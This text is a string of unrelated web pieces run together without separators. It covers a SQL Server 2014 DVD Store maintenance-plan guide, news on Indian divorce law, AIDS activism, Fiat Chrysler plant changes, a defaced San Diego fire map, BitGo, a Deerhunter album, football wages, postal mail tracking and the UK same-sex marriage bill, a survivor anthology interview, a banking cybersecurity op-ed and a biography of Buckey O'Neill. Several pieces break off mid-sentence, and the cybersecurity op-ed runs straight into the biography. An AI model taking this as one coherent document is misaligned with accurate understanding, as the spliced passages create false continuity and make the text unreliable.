Management Studio shows the script, press F5 to execute or go to the Query menu and click on Execute. In the bottom left corner, it will show executing query. Select the Message tab to monitor the progress of the script. It took my system 1 hour and 5 minutes to complete the script, it might be a good time to start working on the “workload” VM that’s going to generate the queries in the mean time. After the script finishes, it’s time to run a SQL maintenance task. Although the script creates a 20GB database, 37GBs of space is consumed on the hard disk.
SQL2014 Maintenance Plan
In the DVD Store documentation it’s recommended to run the maintenance plan to optimize performance. The SQL Agent service is turned off by default in SQL 2014. Start this service by opening a command prompt and type in the command: net start sqlserveragent otherwise the follow error will be presented when attempting to create a maintenance plan in SQL Management Studio:
Open the SQL Server 2014 Management Studio(GUI), follow following steps:
Go to Object Explorer and click and expand database server tree. Under server tree, expand management and right click on maintenance plans. Left Click on “Maintenance Plan Wizard Option”. In the wizard opened, click next and enter name of plan as “ds2”. Click next and check “Update Statistics” checkbox and again click next. Click next and then choose database as DS2 and click OK. Ensure “All existing statistics” and “Sample By” checkbox are set along with value “18” “percent”. Once above step is done click next twice to create a task under “Maintenance Plans” under “Management” object under SQL Server tree. Now right click on this task “ds2” created from above steps and it will show a menu option for right click. Click execute to update statistics on all tables in DS2 database using task created due to above steps.
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ability. The divorce rates are up. The stigma against divorce is fading. And all this because the kids these days aren't alright: they want more, compromise less often, and are quick to take the easy way out. Not surprisingly, almost all the examples offered are upwardly mobile urban professionals. No one cares about what's happening in other, less trendy quarters.
Two recent articles offer an important corrective to this elitist skew. First is an India Ink piece by Pamposh Raina headlined, "For Indian Women, Divorce Is a Raw Deal." [You can read it here] For all the hand-wringing about more affluent big city sections of the population, the reality is that the divorce rate has not increased very much: "National statistics don’t exist on divorce in India, but some local records do show a rise. Still, some experts say the divorce rate in India continues to be artificially low, because of how biased the system is against women, who can be left financially destitute even if their husband is wealthy."
The end of even the worst marriage usually spells disaster for the average Indian woman. The reasons are straight-forward. One, there is no concept of joint marital property. The assets (vehicles, houses etc.) remain with the person who holds the title, most often the man. Two, when the woman has a case, she often can't afford the extended legal battle required to secure her rights.
And three, while Indian laws make provision for alimony and child support, these rarely offer relief in the real world:
In India, where tax authorities estimate just 3 percent of the population pays personal income tax, and “black money” or under-the-table cash is common, the man’s actual earnings are often hidden, Ms. Singh says. Additionally, the wife may not have access to documents that prove what her husband earns, Ms. Singh says. Even if she does, the maintenance amounts are tiny. Citing courtroom experience, Ms. Singh says judges generally fix a share of 2 percent to 10 percent of the husband’s annual earnings for maintenance amounts.
The result: most women prefer to stay and suffer.
Where Raina's article covers the required bases, Stephanie Nolen writing for the Canadian newspaper Globe & Mail offers a far richer version of the same story. [Read this excellent piece here] We see, for example, how these laws punish someone like Rajesha Hamar who fled an abusive husband, a man who routinely beat, throttled, and sexually asssaulted her in front of his relatives. She took her baby with her but left behind all her dowry, including a motorbike, and jewellery.
He does not pay a single rupee in support, leaving Rajesha to support her toddler with the money she earns as a maid. She lives with her mother and brother in a one-room tenement, sleeping on the floor under their bed with her child.
In comparison to the statistics for divorce, the financial numbers for divorced and separated women are far more alarming. According to a recent survey of women of all income groups, 46 percent of the women never received their awarded maintenance, "and of those who received them, 60 percent said the funds did not come on time." In terms of dowry, a paltry 30 percent recover any part of the assets given by their parents. The survey also "found that 75 percent of women return to their “natal family” – parents or brothers. Nearly half reported they had no income, and 28 percent earned less than $50 a month."
The kicker: If the woman files for a divorce, she "has virtually zero chance of obtaining a financial settlement of any kind."
The data also points to an overlooked problem with Indian divorce laws. We can -- and likely will -- fix the marital property laws at some point. The government has announced plans to introduce a limited corrective that will allow the courts to award the woman a share in the matrimonial property if she has contributed to the same.
But if we can't enforce existing alimony laws, any new amendment is likely to be as meaningless in practice. The reality is that unless we fix our broken judicial process and change a corrosive societal mindset, there is little legal redress for women trapped in abusive marriages.
Where more affluent women can and will continue to survive these lopsided laws, what is a woman like Rajesha to do? Her solution: “If I don’t go back, I’ve got nothing. I’ll never have anything.”
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.This story is part of a series on challenges faced and victories achieved in the fight for LGBT equality. This battle continues, especially with Donald Trump as president, but we won't win unless we learn from the past.
Silence equals death.
This was the mantra for many in the LGBT community during the height of the AIDS crisis in 1980s America. It was printed on banners, buttons, and T-shirts. It was shouted by activists like Larry Kramer. It was practiced in his ACT UP die-ins, which demanded that an unsupportive government pay attention to the epidemic and its victims.
In recent years, many AIDS activists had taken off the pins and adopted boardroom strategies. They found an ally in governors like Andrew Cuomo as well as the Obama administration, which, in addition to passing the Affordable Care Act, committed itself to creating an AIDS-free generation. Many thought they had found another champion in Hillary Clinton, who released a strategy to fight the virus during her presidential campaign.
However, Donald Trump’s victory, his vow to repeal Obamacare, and his surfeit of anti-LGBT cabinet nominations have sent a signal to many leaders in the AIDS community that the old strategy of resistance might once again become the new.
Kramer, a founder of Gay Men’s Health Crisis, was ousted from that early AIDS organization for being too vocal about his concerns. In an interview with Masha Gessen for The Advocate, he expressed fears that history was indeed repeating itself — and the need for panicking had returned once again.
“It’s the early days of AIDS all over again,” Kramer said. “I didn’t think that would ever happen.
“It makes you want to cry sometimes,” he added.
As LGBT people prepare for a Trump presidency, there are many lessons learned during the AIDS crisis that could apply today, especially in dealing with an administration that is silent, uncaring, or hostile to their causes. Kelsey Louie, the current CEO of GMHC, outlined several key takeaways to The Advocate.
“When human rights are not protected, people are more vulnerable to disease,” Louie said. “We also learned that silence equals death, and in order to make change, we often need to have our voices heard.”
“We know that HIV and AIDS thrives in the shadows of shame and stigma, and … that spread of shame and stigma and discrimination … has an unfortunately impact on the political commitment and individual action of a community,” he continued. “We also learned that we as a community are not powerless, and when a community works together we are stronger."
Now more than ever, working together will be essential to resisting attacks on LGBT rights and fighting the epidemic in the years ahead. Although society has made many strides toward reducing HIV stigma and developing medications to fight and suppress the virus, gains have not been even across the board.
For example, transgender women, young people (13-24), and men of color who have sex with other men are still disproportionately affected by HIV. In fact, half of black gay and bisexual men test positive in their lifetime. Access to health care is key to lowering these infection rates, but with the ACA and federal funding to health nonprofits like Planned Parenthood on the chopping block, more hurdles may be added, and lives may be lost. Even today, despite having all the tools available to defeat AIDS once and for all, there are still 50,000 new HIV infections every year in the United States, reports the Centers for Disease Control and Prevention.
Despite these obstacles, there is much an individual can do to help fight HIV and the discrimination that helps it spread. As Louie mentioned, the first is to be vocal. Call out injustice when it happens, regardless of its scale, through media, social media, and everyday interactions. Battle stigma. Champion equality. Call elected officials and be heard. Fight tooth and nail against the demise of Obamacare, because LGBT lives depend on it And don’t lose sight of what’s right.
“One of the things that I said the day after the election to the entire staff is, we need to remember the core values of GMHC,” said Louie, “values of inclusion and compassion and caring for one another. That will make a difference.”
Caring folks can donate to Planned Parenthood, GMHC, and any health organization whose funding may be at risk. They can also volunteer their time with these groups.
Personally, Louie has also found inspiration in the words of Hillary Clinton, Michelle Obama, and Barack Obama, who have given hope, encouragement, and empowerment to their supporters for what may be difficult days ahead.
“When they go low, we go high,” Michelle declared on the campaign trail.
“This loss hurts, but please never stop believing that fighting for what's right is worth it,” Clinton said in her concession speech.
"I am asking you to believe. Not in my ability to bring about change — but in yours,” Barack said in his farewell.
And Louie has words of his own for Trump, who has said little about AIDS and has yet to release a plan to address it during his presidency.
"There are still 50,000 new HIV infections in the United States every year,” Louie said. “We hope the new administration will work with us and commit the attention and resources required to end the epidemic once and for all."Fiat Chrysler will end production of the Dodge Dart compact and Chrysler 200 mid-size sedans in the U.S. by the end of the first quarter of 2017 to convert plants assembling those cars over to build more profitable Ram and Jeep vehicles, CEO Sergio Marchionne said Wednesday.
“We announced the re-industrialization of the U.S. manufacturing footprint a couple of quarters ago,” Marchionne said during an analysts’ conference call to discuss the automaker’s second quarter financial results. “By the time we’re finished with this, hopefully, all of our production assets in the United States — exclude Canada and Mexico from the fold — will be producing either Jeeps or Rams. There will be no passenger cars that will be produced in the U.S.”
In Canada, FCA will continue to build the Chrysler Pacifica and Dodge Grand Caravan minivans at its Windsor plant and the Dodge Challenger and Charger muscle cars and Chrysler 300 full-size sedan at the Brampton facility, Marchionne has said.
FCA’s North American profit margins, which were 7.9 per cent for the quarter, could rival General Motors’ 12.1 per cent range after the company moves out of small passenger car production, he said. “Our expectation is that concentration (of pickup and SUV production) will give us the possibility to get to very close to those numbers,” he said. “They were exceptional results; I think they should be complimented for an outstanding delivery in Q2 and I think we have every expectation after this realignment we should be getting very close if not dead on those numbers.”
FCA posted a second-quarter net profit of US$353 million, a 25 per cent jump over the same period in 2015. Total revenue dropped two per cent to US$31 billion. Meanwhile, General Motors said its earnings more than doubled in the second quarter to $2.9 billion, while Ford Motor will deliver its second-quarter earnings report before the market opens Thursday.
Michelle Krebs, senior analyst at AutoTrader, said FCA is responding to growing consumer preference for SUVs and pickups over passenger cars.
“Cars are down to 40 per cent of the U.S. market, Krebs said. “That’s a huge shift. Last year, compact SUVs, like the Ford Escape and Toyota RAV4, became the No. 1-selling segment.”
It’s a similar trend in Canada. During the first six months of the year, Canadian consumers purchased 989,177 new vehicles, according to DesRosiers Automotive Consultants. Of that total, 642,593 were new light trucks — an increase of 14.5 per cent over last year; sales of cars, meanwhile, fell 6.8 per cent.
FCA’s quest to become as profitable as its Detroit rivals hinges on selling more pickups and SUVs, which have higher profit margins than passenger cars.
“Chrysler is discounting cars so much as everybody else is,” said Krebs. “If there’s any profit margin there, it’s razor thin.”
Marchionne said continued investment in U.S. car production is not economically feasible. “The margins we were getting from both the Dart and 200 — as well intentioned as those programs were and as technologically relevant as they were for the market — yielded returns that on a competitive basis don’t come remotely close to what could be derived from the utilization of those assets in the Jeep or Ram world.”
On Tuesday, FCA announced plans to spend US$1.49 billion to retool its Sterling Heights, Mich., Assembly Plant so it can build the next-generation Ram 1500 pickup truck there after it stops producing the Chrysler 200 in December.
Marchionne said the automaker continues to seek a partner to build the successors to the Dart and 200.
While the retooling of affected U.S. plants will likely mean “downtime” for UAW members, it will boost job security in the long run, he said. “We feel comfortable now that we’ve positioned the U.S. assets in the right place that they will guarantee fuller levels of employment and a higher opportunity for the UAW membership to benefit from that growth.”
gmacaluso@postmedia.comSeeds & Songs of Change in Somerville
Zoom in When:
Saturday, Nov 15, 2014 6:00p -
9:00p Where:
The Center for Arts at the Armory
191 Highland Ave
Somerville, Massachusetts 02145 Admission:
FREE Categories:
Alcohol, Lectures & Conferences, Music, Party, Performing Arts, Social Good Event website:
https://www.facebook.com/events/878732408812996/?pnref=story
On November 15th the Somerville Community Growing Center will be partnering with New England Grassroots Environment Fund (NEGEF) to host a satellite viewing party of Seeds & Songs of Change at the Center for Arts at the Armory. Come join us at the armory as we tune into the Berklee School of Music for an evening of music and grassroots activism. Cash bar and snacks will be available.
Seeds & Songs of Change is an intergenerational musical event and benefit concert to celebrate the power of grassroots activism featuring live performances, entertaining music videos and testimonials. Narrated by NPR’s Steve Curwood, the event will feature folk icon Noel Paul Stookey of Peter, Paul and Mary and local musician, Tem Blessed, with his band. The primary purpose of this event is to say thank you to people, grassroots volunteers, who work to better their communities. NEGEF will be announcing the creation of a Legacy Fund to honor founding director, Cheryl King Fischer’s 18 years of leadership.
The Somerville Community Growing Center and NEGEF have a long history together. Being one of the earliest funders of the Growing Center, NEGEF has not only provided us with grants, but also with a tremendous amount of knowledge, training, and skills building. We would like to give a big thanks to NEGEF for promoting grassroots work across New England and right here at the Growing Center. Please join us for this wonderful celebration at the Center for Arts at the Armory ( 191 Highland Ave. ) on November 15th from 6pm – 9pm.San Diego County residents looking for updates on a brush fire threatening thousands of homes got a not-so-serious message on the Bernardo blaze's latest status when they turned to the county's website and app for information.
Apparently, the location of the fire as of Tuesday was “in your pants.” At least, that’s according to the notes under the site’s emergency notification map.
San Diego Communications Director Mike Workman said he learned about the problem a short time after it was made public.
He explained that two people were assigned to create a map to use the county’s geographic information system (GIS) once they realized the fire would be a significant emergency.
As they entered coordinates and neighborhood names into the system, an unknown person entered the words “fire in your pants” in the notes field. It was supposed to say “Bernardo Fire.”
Officials soon published a new version over it, so they never had to take the whole map down to fix the issue. They also closed a “portal” into the system that the culprit used to gain entry.
Workman said that because officials were dealing with a public emergency, they have not had time to backtrack and identify the user who entered the “offending words.”
When the time is appropriate, Workman said the county will investigate.
However, he was reluctant to say the system was hacked. The GIS system is reportedly not available to the general public, but they do provide a link to people who need to use the system for land use, general plan maps, tracking runoff and more.
Workman thinks steps will soon be taken to prevent something like this from happening again.
Even with the quick fix, a number of Twitter users picked up on the mistake, taking screen shots of the evacuation information and poking fun at it.
@SanDiegoCounty I just checked, and the fire is not in my pants. perhaps it's outside somewhere? #SanDiegoFirepic.twitter.com/pKQYCZr6er — Project VALIS (@ProjectValis) May 13, 2014
Fires in San Diego! But SDEmergency app says its in my pants?!?!? @ReadySanDiego#failpic.twitter.com/nVE5Ch9j2f — Ken Brucker (@sei_ryu) May 13, 2014
As some of the online commenters suggested, Leaving "your pants" is a hard evacuation order to give.Mark Cavendish has called for cyclists to be more responsible PA
Cyclists who seriously injure pedestrians should face the same penalties as dangerous drivers, road safety campaigners said yesterday.
The Royal Society for the Prevention of Accidents, the road safety charity Brake and the Institute of Advanced Motorists backed tougher penalties after a cyclist who broke a pedestrian’s skull after jumping a red light was fined £850. Sarah Fatica of Brake said that the sentence was an affront to the victim.
Kenneth Clarke, the Justice Secretary, has announced a new offence, causing serious injury by dangerous driving, punishable by five years in jail and an unlimited fine, but cyclists are exempt from the law, which is expected to be enforced next year.
Clive Hyer, a solicitor, suffered a brain haemorrhage and still has health problems a…Et tu, Jared?
Roger Stone, former Trump Chief of Staff, is out with a rather exclamatory and emphatic claim, accusing Trump’s son in law, Jared Kushner, of ‘enjoying lively exchanges’ via text message with none other than NeverTrumper and neo con shill, MSNBC’s Joe Scarborough.
“There’s no question now, sources tell me, that the President’s son in law enjoys a very lively text exchange with Joe Scarborough. And that Scarborough’s repeated attacks on Steve Bannon, not to mention some of his attacks on the President, clearly are being manipulated for his internal purposes.”
If true, this is a betrayal of the first order. One expects to be backstabbed by political operatives, friends and rivals, but not family.
If you enjoy the content at iBankCoin, please follow us on TwitterBitcoin startup BitGo has launched an API platform designed to address one of the cryptocurrency’s biggest problems: security.
“As we continue to see explosive growth in bitcoin-related investments, businesses need to build a rock-solid security foundation that instills end-user confidence,” BitGo co-founder and CEO Will O’Brien explained. “The BitGo Platform API can help businesses, both large and small, focus their development resources on core competencies and product differentiation while security is managed by the specialists.”
Using the BitGo Platform API, third parties, such as popular Bitcoin exchange Bitstamp, can build Bitcoin-based businesses on top of the security infrastructure BitGo has developed. This infrastructure includes key signing, authentication, and transaction monitoring.
BitGo, which has raised more than $12 million from investors, also enables multi-signature transactions, which became a hot topic in the Bitcoin community last year. Many believe “multisig” is an important part of Bitcoin’s future because it has the potential to address some of the cryptocurrency’s biggest security threats. As Coindesk’s Thomas Kerin described:
“Imagine a safe in a bank that needs two keys to unlock the safe at any time — the bank’s key and your personal key. Multi-signature addresses capture the essence of this but without needing to be in the same place. And since the keys can be in separate places, it’s unlikely an attacker can compromise both; whereas with regular bitcoin addresses, the attacker knows roughly who to target, and could compromise the server in any number of ways just to steal the wallet file. Services using multi-signature addresses have a much greater resistance to theft, since instead of just needing access to the server’s wallet, funds are protected by the elliptic curve digital signature algorithm (ECDSA), a far greater barrier than the security a website could implement in its code.”
As Kerin noted, multisig support is not new to Bitcoin but it has taken a while to catch on because “multi-signature addresses and transactions are still a bit complicated to carry out.” With its Platform API, BitGo is one of the players aiming to make it possible for third parties to take advantage of this feature to build secure Bitcoin services without having to invest in building out their own complex infrastructure.
APIs and the future of Bitcoin
The past year has been a volatile one for Bitcoin. The cryptocurrency lost more than half its value and major security thefts and security issues made headlines. But despite the setbacks, many still believe that Bitcoin and other blockchain-based cryptocurrencies will fundamentally change the world’s financial system. As a result, investment continues to pour into Bitcoin startups and many of those startups are offering Bitcoin APIs of their own.
With a growing number of those startups aimed at supporting institutional and mainstream consumer applications of Bitcoin, the broader adoption of security-oriented API platforms like BitGo’s could prove crucial if Bitcoin is to realize the potential so many believe it has.Deerhunter have revealed their new video for ‘Snakeskin'(directed by Valentina Tapia) from their newly announced studio album ‘Fading Frontier’, due for release on October 16, 2015 via 4AD. It marks a change from their last release Monomania and 4AD have described it as something strikingly balanced, focused on melody and texture. The songs are brighter; if not in content, then in the album’s production. Starkness plays against clutter in what is the band’s most complex yet accessible work to date.
The record was made by founding members Bradford Cox, Lockett Pundt, Moses Archuleta, and bassist Josh McKay.
Fading Frontier – Tracklisting
1. All The Same
2. Living My Life
3. Breaker
4. Duplex Planet (ft. Tim Gane of Stereolab on Electric Harpsichord)
5. Take Care (ft. James Cargill of Broadcast on Synthesizers and Tapes)
6. Leather and Wood
7. Snakeskin (ft. Zumi Rosow on Treated Alto Saxophone)
8. Ad Astra
9. Carrion
Tour Dates
October
29th – Pitchfork Festival, Paris, France
30th – All Saints Church, Brighton, UK
31st – Liverpool Music Week, Liverpool, UK
November
1st – Button Factory, Dublin, Ireland
3rd – SWG3, Glasgow, UK
4th– Brudenell Social Club, Leeds, UK
6th – Gorilla, Manchester, UK
7th – Shepherds Bush Empire, London, UK
9th – Le Grand Mix, Tourcoing, France
10th – La Cartonerrie, Reims, France
11th – Paloma, Nimes, France
12th – Magnolia, Milan, Italy
13th – Bronson, Bologna, Italy
14th – L’usine, Geneva, Switzerland
15th – Rote Fabrik, Zurich, Switzerland
16th – Kulturhaus Karlstorbahnhof, Heidelberg, Germany
18th – Lido, Berlin, Germany
19th – Vega, Copenhagen, Denmark
21st – Botanique Orangerie, Brussels, Belgium
22nd – Le Guess Who Festival, Utrecht, NetherlandsOver the three seasons, Manchester United (Ferguson),Tottenham (Redknapp/Villas Boas) and Everton's (David Moyes) performance stands out - in this model, they are the only teams to out-perform their wage spend in each of the last three seasons. It is also interesting to see that although consistently the best team in the Premier League long-term, in recent years, Manchester United have been only the third highest wage-paying team. Interestingly, the only managers to survive an under-performance (a red line) is Mancini in 2010/11 (when City won the FA Cup). Tellingly, Mancini did not survive a second'red line performance' during the 2012/13 season. Dalglish became manager at Liverpool midway through the in 2011/12 season and was sacked at the end of the club's 2011/12 under-performance. Based on the chart, Rodger's performance last season was fairly flat (although there are indications that things may be changing with a stronger second-half showing reversing a negative performance in the first half of the season).
From next season new financial constraint rules will be in place in the Premier League. The rules restrict a club's ability to increase their annual wage bill wage. Any club paying over £52m in wages cannot increase their wage bill by more than £4m a season. However the rules allow clubs to increase wage spend if they write new commercial deasl (in which case they can increase their wages by the amount of the uplift). These rules will prevent a repeat of the QPR 'project' but will reinforce the status quo - for example Hull City would face a probably points deduction if they decided to match Liverpool's wages next season.
*The 2010/11 and 2011/12 charts are based on the figures reported in the club accounts. We will not know the actual wages for the 2012/13 season for another 9 months so the figures are therefore based on the previous season's figures, adjusted for known events (eg QPR's increased 2012/13 spending). The actual figures are unlikely to be too far adrift from the 2012/13 chart.(Newser) – Creeped out by all this talk of metadata and Big Brother and the fear that your emails aren't as private as you thought? Well, at least there's good old snail mail, right? Not so much, reports the New York Times. It looks at two programs the US Postal Service uses at the behest of law-enforcement agencies—"mail covers," which have been around for more than a century, and the scarier-sounding "Mail Isolation Control and Tracking program," which began after the 2001 anthrax attacks.
Mail covers are old-school. Postal workers, at the request of a law-enforcement agency, record by hand all the information on the front and back of letters going to your house, though they can't look inside. The MICT program is way more high-tech: USPS computers photograph the outside of every piece of mail, just in case this data—or metadata, as it were—might come in handy for an investigation down the road. (As it did recently in the latest batch of ricin letters.) A former Justice Department official sums things up:
“In the past, mail covers were used when you had a reason to suspect someone of a crime. Now it seems to be, ‘Let’s record everyone’s mail so in the future we might go back and see who you were communicating with.’ Essentially you’ve added mail covers on millions of Americans.”
(Read more US Postal Service stories.)Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The government is reported to be attempting to compromise with the 150 Tory MPs set to oppose the same-sex marriage bill, by considering amendments giving protection to “conscientious objectors”.
MPs are to resume debate on the same-sex marriage bill tomorrow, and if approved on Tuesday it will pass to the House of Lords for further scrutiny.
The Times reports that, of those MPs, around 150 Conservatives are planning to defy David Cameron by opposing the bill or backing amendments to it, among them Cabinet Ministers.
Defence Secretary Philip Hammond already voiced his opposition to the bill in a Question Time appearance last week, in which he said the bill had “upset vast numbers of people”.
Secretary of State for Environment, Food and Rural Affairs Owen Paterson, Lord Chancellor and Secretary of State for Justice Chris Grayling, and Cabinet Office Minister John Hayes are also expected to back amendments to the bill allowing teachers, registrars and faith schools leeway not to uphold the bill if they conscientiously object to it.
Compromises taking place behind the scenes in Parliament may result in amendments allowing teachers not to include same-sex relationships in their lessons, and permitting registrars not to marry same-sex couples, in order to keep as many Tory MPs on board as possible.
A source told the Sunday Times the government is “in listening mode” when it comes to marriage equality objections, and that they were trying “to plug some of the gaps before it goes to the Lords.”
Amendments were tabled by Conservative MP David Burrowes, who last week called for a referendum on same-sex marriage, adding that he hoped it would result in the defeat of the Marriage (Same Sex Couples) Bill.
There have also been calls for the bill to allow opposite-sex couples to be able to have civil partnerships. The move is opposed by the government, but last week Culture Secretary Maria Miller allowed that a review on civil partnerships would take place exactly five years from the point when the same-sex marriage bill comes into law for England and Wales.
The debate has caused embarrassment for David Cameron and was labelled an attempt to “derail” the same-sex marriage bill by Tory MP Mike Freer, while LGBT rights activist Peter Tatchell said a review of civil partnerships for straight couples was unnecessary, as the idea already has public support.
In a letter to David Cameron this weekend, 30 past and present local Conservative chairs from the party’s Grassroots organisation warned that his push for same-sex marriage had made winning the general election “virtually impossible”.What does it mean to be a survivor? What does it mean to have everything taken from you, to have everything you know get flipped upside down, yet still remain standing? What we survive often leaves us scared and voiceless, unable to reach out. However, the new anthology, Reflections of a Survivor from Stronger than my Struggles, a Baltimore-based organization created by author and entrepreneur Melony Hill, gives fighters a voice to their struggles and proves that there is life after trauma.
Reflections of a Survivor is a collection of 15 essays by six different authors (12 of the essay are written by Melony Hill) that discuss an assortment of complex topics such as domestic violence, abandonment, mental illness, chronic illness, birth defects, family betrayals, self-esteem (and a lack thereof), sexual assault, etc. Through powerful prose, depth of experience, and a touch of humor, this collection fights the stigma of mental illness by creating a diverse portrait of the different ways a person can suffer, but all can overcome.
One of the essays, “A Legacy of Love Betrayed” is by TravelPride’s very own C.Imani Williams. Imani is a freelance writer, essayist, poet, and social/human justice activist who is working hard to empower others and have her voice be heard. Her essay is one of betrayal by her last surviving immediate family member, her sister, after the death of her mother. As a queer black woman, Imani has been faced with adversity in the past, but this same adversity coming from your family brings a new level of hate. Imani tells her story with eloquence, dignity, and candor as we go on the journey with her: from the passing of her mother, the legal battle that seemed never ending, to learning forgiveness of those who are not sorry. Imani makes her story relatable even to those who have never shared the same experience but have felt betrayed by a loved one, haven’t been believed no matter how loud our truth is, been trapped in a rigged system, and, most importantly, have tried to do the right thing.
(C Imani Willams)
I had the absolute pleasure of “virtually” sitting down with Imani to talk about her book.
Ellen: So let’s start at the beginning. How did you get involved with the book?
Imani: I had heard about it from the “Write Black Art Connection” group on Facebook back in June. Someone had posted about a call for writers for this book, and I had this manuscript all ready to go. It was a very fast process, starting in June with Melony Hill, who was very professional and helpful throughout the whole process. She really made everything that much smoother.
Ellen: When did you start writing this piece? What was the background that went into writing this?
Imani: 2009. I was journaling a lot. If someone pisses me off that’s usually where I go first. It’s my early stage of venting. I started to journal about this when I came home around Christmas, as my mom got sick and after her passing, so with everything going on — I was also getting a divorce at that time — that journal stayed full. It helped me process what was going on.
Then sometime in 2010, when I was in counseling, just dealing with what was going on. I had also just joined a sexual abuse survivor group in California, but was “uninvited” from the group after I admitted that I am gay. Also around this time the movie Precious had come out and that really affected me, I carried around the novel Push in my bag for three weeks before I could read it. So all that really affected me into writing my story.
Ellen: Why write a piece like this? Why tell this particular story?
Imani: I know what my parents stood for. I know how hard they worked and they had a legacy that they wanted to pass down. The money we were to inherit wasn’t going to make anyone rich, but I wouldn’t have had to literally start my life over. No one cares about your degrees after 30. I had to pray hard and dig deep to get myself out and I don’t want anyone to go through what I had to go through. Have those hard conversations with your families, but handle them with care.
Ellen: Talk to me a little about what you experienced.
Imani: A hate crime that was very hard to prove. It was like being in court in the 1940’s, everyone was against me. I talked to a lawyer in California but no one wanted to touch the case. I felt so attacked because of my sexuality and race. I had to go through nine court dates, on top of everything else in my life.
Ellen: You mentioned in your essay that you worked on forgiving your sister, what was that process like?
Imani: Writing saved my life. I talked to my creator to help me with forgiveness and I had a great community to support me, but it was hard. Loyalty is very important to me: if I can’t trust you, I can’t f*ck with you. I don’t hate my sister, I just forgave her more for my sanity than for her.
Ellen: Have you had any contact with your sister since, and would you want to?
Imani: No, I’m good. My last contact with her was in the early 2010’s through text or email and I told her that she knows what she has to do to make it right. I don’t have time for games.
Ellen: What do you hope people will take away from your essay?
Imani: No matter what people say about you, know who you are. It won’t be easy, but stand for it anyway. And we are all charged with honoring legacies; do right by your people.
The book Stronger Than My Struggles Presents: Reflections of a Survivor is available for purchase from Imani directly (for $20 plus $4.99 shipping and handling) here. You can also check out C. Imani Williams Healing Art Writing Workshop Here.
Trigger warning! This anthology contains scenes of rape, sexual abuse and mental illnesses that may be triggering for some people.By Paul Darby, Regional Manager EMEA, Vidder
Over the last few months, a number of legislative and regulatory changes in relation to the threat of cyberattacks have been announced that will affect bank clearing housesin the UK. From May 2018 they will be required to complete regular cybersecurity reports, putting regulations more in line with EU directives around critical infrastructure. This follows the finalisation, in 2016, of a new Network and Information Security Directive (NIS) which sets out cybersecurity obligations, including incident reporting, for operators of essential services and digital service providers.
While there remains uncertainty over exactly how the NIS will impact firms operating in banking and financial services, the message is clear; cybersecurity presents an increasing risk and companies across the financial sector need to take it even more seriously as attacks become more sophisticated.
According to the Verizon 2017 Data Breach Investigations Report, 24% of all breaches are in the financial services industry. Despite the fact that cyberattacks are on the increase and there is considerably more attention given in the media to the risk of ransomware in particular, too many organisations are still using security solutions that were architected before the entrance of state sponsored attacks that can spread globally in days. The report claims that companies are choosing to accept the risk of an attack that will necessitate a ransom payment instead of investing in suitable security precautions.
Part of the difficulty in protecting against cyberattacks is that traditional security systems have become less able to protect today’s networks. Finance companies, like other enterprises, benefit from the digital revolution which allows employees, partners and customers to access information remotely and through a wide variety of devices. To keep this access secure, the solutions tend to focus on traditional network and perimeter chokepoints, forcing security managers to focus their resources on constantly tuning firewalls whilst maintaining larger access control lists with more complex access policies as networks grow in complexity. Yet once a device or user account has been compromised, predatory malware can migrate behind the perimeter and breach sensitive systems as witnessed with the |
a posse admits to nearly fainting at the hanging of a horse thief.
On April 27, 1886, he married Pauline Schindler.[16] They had a son, but he died shortly after being born premature.
In 1888, while serving as Yavapai County, Arizona judge, he was elected county sheriff, running on the Republican ticket.
On March 20, 1889, four masked men robbed the Atlantic and Pacific Railroad passenger train in Diablo Canyon. A four-man posse, made up of O'Neill, Jim Black, Carl Holton, and Ed St. Clair, was soon formed and they took off after robbers. On March 21, O'Neill and his posse caught up with the robbers. After exchanging rifle shots, the posse captured the four men. During the fight, no men were injured, but O'Neill's horse was killed.
The four men were William Sterin, John Halford, Daniel Harvick, and J. J. Smith. All four were sent to the Yuma Territorial Prison, but were pardoned eight years later. There is unfounded speculation that, in 1898, William Sterin enlisted under a false name in the Rough Riders, and was killed in action on San Juan Hill. The character of Henry Nash is incorrectly portrayed as Sterin in the TNT made-for-TV movie "Rough Riders". The real Henry Nash was an Arizona school teacher who also served in Roosevelt's Rough Riders, and was a friend of O'Neill up until his death.
After his term was up, O'Neill was elected unanimously Mayor of Prescott.
In 1894 and 1896 he ran for Delegate to the United States House of Representatives from Arizona Territory, running on the Populist Party ticket.
One of his best friends was Tom Horn.
In 1897, after years of speculating on mines, he sold a group of claims near the Grand Canyon to Chicago backers, who also proposed building a railroad from Williams to the mines and the south rim. He became a director of the development companies, and soon began railroad surveys, mine developments, and building a smelter. He also used profits to begin building rental buildings—he was headed for financial independence.[17]
O'Neill also helped introduce a bill alolowing women to vote in municipal elections in 1897. Although O'Neill convinced his Populist friends to sign the bill into law, the high court dismissed the bill in 1899.[18]
Rough Riders [ edit ]
US Postage Stamp, 1948 issue, commemorating 50th anniversary of Theodore Roosevelt's Rough Riders, depicting O'Niell.
In 1898, war broke out between the United States and Spain. O'Neill joined the Rough Riders and became Captain of Troop A. First Lieutenant Frank Frantz served as O'Neil's Deputy Commander. Along with Alexander Brodie and James McClintock, he tried to make an entire regiment made up of Arizona Cowboys. Eventually though, only three troops were authorized.
The Rough Riders landed at Daiquirí on June 22, 1898. Two Buffalo Soldiers, of the 10th Cavalry fell overboard. Upon seeing this, O'Neill jumped into the water in full uniform and sabre. He searched for the men for two minutes, before having to come up for breath.
On June 25, 1898, the Rough Riders saw their first action. O'Neill led his men at the front of the line in the Battle of Las Guasimas, capturing the Spanish flank. During the action he saw several men, who he believed were Spaniards, across the road from him, and shouted "Hostiles on our right, fire at will!" He learned after the firing ceased that the men he exchanged shots with were Cuban rebels.
Death [ edit ]
On July 1, 1898, at about 10am, the Rough Riders and the 10th Cavalry were stationed below Kettle Hill. The Spaniards, who were on top of the hill, poured machine gun and Mauser fire down on the Americans. Buckey O'Neill was killed in action.
Theodore Roosevelt, commander of the Rough Riders, wrote about the death of O'Neill:
